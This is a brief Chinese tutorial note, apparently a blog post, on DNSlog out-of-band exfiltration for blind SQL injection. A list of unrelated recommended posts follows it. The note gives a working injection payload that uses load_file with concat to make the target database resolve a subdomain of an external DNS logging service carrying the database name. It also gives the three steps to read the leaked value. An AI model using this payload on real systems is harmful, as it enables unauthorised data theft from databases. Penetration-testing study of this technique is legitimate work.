无回显的盲注可以想办法回显到 dns 日志上：
1、打开 http://www.dnslog.cn 获取域名
2、注入：
?id=1' and (select load_file(concat('//',(select database()),'.3.mw0gxd.dnslog.cn/a')))--+
3、点击刷新得到回显：
DNSlog 注入简单笔记
YUkawa5392023-10-07 22:46
相关推荐
动词ing10 分钟前
【学习笔记】数据结构栈与队列（栈先进后出+队列先进先出+括号匹配+消消乐模型）彧azz22 分钟前
Git 入门实操实例：从安装到远程仓库全流程David猪大卫2 小时前
【C++修炼】哈希表的实现江湖人称菠萝包2 小时前
【Windows】《深入浅出Windows API程序设计：核心编程篇》笔记-Chapter6-动态链接库宵时待雨3 小时前
linux笔记归纳18：传输层协议TCP逆境不可逃3 小时前
Pi Agent 学习笔记：一次提问背后的工具调用循环Ztt6666666663 小时前
紫釉高筒壶向上收紧，修长器身更显精神疯狂打码的少年3 小时前
【计算机网络】UDP协议与TCP/UDP对比（面向连接vs无连接）巧克力味的桃子5 小时前
模拟大厂大模型方向面试题Peng7115 小时前
浙大数据可视化课程学习笔记